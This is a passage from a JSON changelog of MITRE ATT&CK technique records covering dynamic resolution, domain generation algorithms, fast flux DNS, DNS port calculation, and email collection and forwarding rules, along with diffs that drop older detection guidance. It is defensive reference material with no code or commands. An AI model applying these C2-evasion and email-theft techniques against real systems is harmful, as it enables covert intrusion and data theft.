"url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/scammers-impersonating-windows-defender-to-push-malicious-windows-apps/"
},
{
"source_name": "Push notifications - viruspositive",
"description": "Gaurav Sethi. (2021, December 14). The Dark Side of Web Push Notifications. Retrieved March 14, 2025.",
"url": "https://viruspositive.com/resources/blogs/the-dark-side-of-web-push-notifications"
},
{
"source_name": "push notifications - malwarebytes",
"description": "Pieter Arntz. (2019, January 22). Browser push notifications: a feature asking to be abused. Retrieved March 14, 2025.",
"url": "https://www.malwarebytes.com/blog/news/2019/01/browser-push-notifications-feature-asking-abused"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)",
"Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)",
"Frank Angiolelli"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Identity Provider",
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.7",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\", \"Network Traffic: Network Traffic Content\", \"Process: Process Creation\", \"File: File Creation\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:28.067000+00:00\", \"old_value\": \"2025-04-15 19:59:12.900000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before.\\n\\nNetwork intrusion detection systems, sometimes with SSL/TLS inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code.\\n\\nDetecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before.\\n-\\n-Network intrusion detection systems, sometimes with SSL/TLS inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code.\\n-\\n-Detecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.\"}}}",
"previous_version": "1.7",
"changelog_mitigations": {
"shared": [
"M1017: User Training",
"M1021: Restrict Web-Based Content",
"M1048: Application Isolation and Sandboxing",
"M1050: Exploit Protection",
"M1051: Update Software"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0015: Application Log (Application Log Content)",
"DS0022: File (File Creation)",
"DS0029: Network Traffic (Network Connection Creation)",
"DS0029: Network Traffic (Network Traffic Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0176: Drive-by Compromise \u2014 Behavior-based, Multi-platform Detection Strategy (T1189)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-10 17:28:11.747000+00:00",
"modified": "2025-10-24 17:49:00.128000+00:00",
"name": "Dynamic Resolution",
"description": "Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.\n\nAdversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1568",
"external_id": "T1568"
},
{
"source_name": "Talos CCleanup 2017",
"description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.",
"url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html"
},
{
"source_name": "FireEye POSHSPY April 2017",
"description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.",
"url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"
},
{
"source_name": "ESET Sednit 2017 Activity",
"description": "ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.",
"url": "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/"
},
{
"source_name": "Data Driven Security DGA",
"description": "Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.",
"url": "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Chris Roffe"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows",
"ESXi"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Connection Creation\", \"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:00.128000+00:00\", \"old_value\": \"2025-04-25 15:15:46.359000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detecting dynamically generated C2 can be challenging due to the number of different algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There are multiple approaches to detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more (Citation: Data Driven Security DGA). CDN domains may trigger these detections due to the format of their domain names. In addition to detecting algorithm generated domains based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1021: Restrict Web-Based Content",
"M1031: Network Intrusion Prevention"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0029: Network Traffic (Network Connection Creation)",
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0039: Detection Strategy for Dynamic Resolution across OS Platforms"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--83a766f8-1501-4b3a-a2de-2e2849e8dfc1",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-11 14:56:34.154000+00:00",
"modified": "2025-10-24 17:49:03.093000+00:00",
"name": "DNS Calculation",
"description": "Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)\n\nOne implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1568/003",
"external_id": "T1568.003"
},
{
"source_name": "Meyers Numbered Panda",
"description": "Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016.",
"url": "http://www.crowdstrike.com/blog/whois-numbered-panda/"
},
{
"source_name": "Moran 2014",
"description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group [Blog]. Retrieved November 12, 2014.",
"url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html"
},
{
"source_name": "Rapid7G20Espionage",
"description": "Rapid7. (2013, August 26). Upcoming G20 Summit Fuels Espionage Operations. Retrieved March 6, 2017.",
"url": "https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows",
"ESXi"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:03.093000+00:00\", \"old_value\": \"2025-04-25 14:47:18.343000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection for this technique is difficult because it would require knowledge of the specific implementation of the port calculation algorithm. Detection may be possible by analyzing DNS records if the algorithm is known.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0029: Network Traffic (Network Traffic Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0262: Detection Strategy for Dynamic Resolution through DNS Calculation"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-10 17:44:59.787000+00:00",
"modified": "2025-10-24 17:48:25.458000+00:00",
"name": "Domain Generation Algorithms",
"description": "Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or \u201cgibberish\u201d strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1568/002",
"external_id": "T1568.002"
},
{
"source_name": "Elastic Predicting DGA",
"description": "Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November 2). Predicting Domain Generation Algorithms with Long Short-Term Memory Networks. Retrieved April 26, 2019.",
"url": "https://arxiv.org/pdf/1611.00791.pdf"
},
{
"source_name": "Talos CCleanup 2017",
"description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.",
"url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html"
},
{
"source_name": "Pace University Detecting DGA May 2017",
"description": "Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically Generated Domains Using Data Visualization and N-Grams Methods . Retrieved April 26, 2019.",
"url": "http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf"
},
{
"source_name": "FireEye POSHSPY April 2017",
"description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.",
"url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"
},
{
"source_name": "ESET Sednit 2017 Activity",
"description": "ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.",
"url": "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/"
},
{
"source_name": "Data Driven Security DGA",
"description": "Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.",
"url": "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/"
},
{
"source_name": "Akamai DGA Mitigation",
"description": "Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019.",
"url": "https://medium.com/@yvyuz/a-death-match-of-domain-generation-algorithms-a5b5dbdc1c6e"
},
{
"source_name": "Cisco Umbrella DGA",
"description": "Scarfo, A. (2016, October 10). Domain Generation Algorithms \u2013 Why so effective?. Retrieved February 18, 2019.",
"url": "https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/"
},
{
"source_name": "Cybereason Dissecting DGAs",
"description": "Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019.",
"url": "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf"
},
{
"source_name": "Unit 42 DGA Feb 2019",
"description": "Unit 42. (2019, February 7). Threat Brief: Understanding Domain Generation Algorithms (DGA). Retrieved February 19, 2019.",
"url": "https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Ryan Benson, Exabeam",
"Barry Shteiman, Exabeam",
"Sylvain Gil, Exabeam"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows",
"ESXi"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:25.458000+00:00\", \"old_value\": \"2025-04-15 19:58:07.610000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.\\n\\nMachine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain is related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Elastic Predicting DGA)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.\\n-\\n-Machine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain is related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Elastic Predicting DGA)\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1021: Restrict Web-Based Content",
"M1031: Network Intrusion Prevention"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0419: Detection Strategy for Dynamic Resolution using Domain Generation Algorithms."
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-11 14:11:16.560000+00:00",
"modified": "2025-10-24 17:48:33.501000+00:00",
"name": "Fast Flux DNS",
"description": "Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity)\n\nThe simplest, \"single-flux\" method, involves registering and de-registering an addresses as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.(Citation: Fast Flux - Welivesecurity)\n\nIn contrast, the \"double-flux\" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1568/001",
"external_id": "T1568.001"
},
{
"source_name": "MehtaFastFluxPt1",
"description": "Mehta, L. (2014, December 17). Fast Flux Networks Working and Detection, Part 1. Retrieved March 6, 2017.",
"url": "https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-1/#gref"
},
{
"source_name": "MehtaFastFluxPt2",
"description": "Mehta, L. (2014, December 23). Fast Flux Networks Working and Detection, Part 2. Retrieved March 6, 2017.",
"url": "https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-2/#gref"
},
{
"source_name": "Fast Flux - Welivesecurity",
"description": "Albors, Josep. (2017, January 12). Fast Flux networks: What are they and how do they work?. Retrieved March 11, 2020.",
"url": "https://www.welivesecurity.com/2017/01/12/fast-flux-networks-work/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows",
"ESXi"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:33.501000+00:00\", \"old_value\": \"2025-04-25 14:46:09.378000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"In general, detecting usage of fast flux DNS is difficult due to web traffic load balancing that services client requests quickly. In single flux cases only IP addresses change for static domain names. In double flux cases, nothing is static. Defenders such as domain registrars and service providers are likely in the best position for detection.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0029: Network Traffic (Network Connection Creation)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0485: Detection Strategy for Dynamic Resolution using Fast Flux DNS"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:31:25.454000+00:00",
"modified": "2025-10-24 17:48:26.463000+00:00",
"name": "Email Collection",
"description": "Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Emails may also contain details of ongoing incident response operations, which may allow adversaries to adjust their techniques in order to maintain persistence or evade defenses.(Citation: TrustedSec OOB Communications)(Citation: CISA AA20-352A 2021) Adversaries can collect or forward email from mail servers or clients. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1114",
"external_id": "T1114"
},
{
"source_name": "CISA AA20-352A 2021",
"description": "CISA. (2021, April 15). Advanced Persistent Threat Compromise of Government Agencies, Critical Infrastructure, and Private Sector Organizations. Retrieved August 30, 2024.",
"url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-352a"
},
{
"source_name": "Microsoft Tim McMichael Exchange Mail Forwarding 2",
"description": "McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.",
"url": "https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/"
},
{
"source_name": "TrustedSec OOB Communications",
"description": "Tyler Hudak. (2022, December 29). To OOB, or Not to OOB?: Why Out-of-Band Communications are Essential for Incident Response. Retrieved August 30, 2024.",
"url": "https://trustedsec.com/blog/to-oob-or-not-to-oob-why-out-of-band-communications-are-essential-for-incident-response"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)",
"Menachem Goldstein"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"macOS",
"Linux",
"Office Suite"
],
"x_mitre_version": "2.6",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Logon Session: Logon Session Creation\", \"Application Log: Application Log Content\", \"Network Traffic: Network Connection Creation\", \"File: File Access\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:26.463000+00:00\", \"old_value\": \"2025-04-15 22:26:37.477000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.\\n\\nFile access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n\\nDetection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account.\\n\\nAuto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include X-MS-Exchange-Organization-AutoForwarded set to true, X-MailFwdBy and X-Forwarded-To. The forwardingSMTPAddress parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the X-MS-Exchange-Organization-AutoForwarded header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.\", \"diff\": \"--- \\n+++ \\n@@ -1,9 +0,0 @@\\n-There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.\\n-\\n-File access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n-\\n-Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account.\\n-\\n-Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include X-MS-Exchange-Organization-AutoForwarded set to true, X-MailFwdBy and X-Forwarded-To. The forwardingSMTPAddress parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the X-MS-Exchange-Organization-AutoForwarded header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.\"}}}",
"previous_version": "2.6",
"changelog_mitigations": {
"shared": [
"M1032: Multi-factor Authentication",
"M1041: Encrypt Sensitive Information",
"M1047: Audit",
"M1060: Out-of-Band Communications Channel"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0015: Application Log (Application Log Content)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Access)",
"DS0028: Logon Session (Logon Session Creation)",
"DS0029: Network Traffic (Network Connection Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0476: Email Collection via Local Email Access and Auto-Forwarding Behavior"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-19 18:54:47.103000+00:00",
"modified": "2025-10-24 17:49:00.920000+00:00",
"name": "Email Forwarding Rule",
"description": "Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim\u2019s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)\n\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. 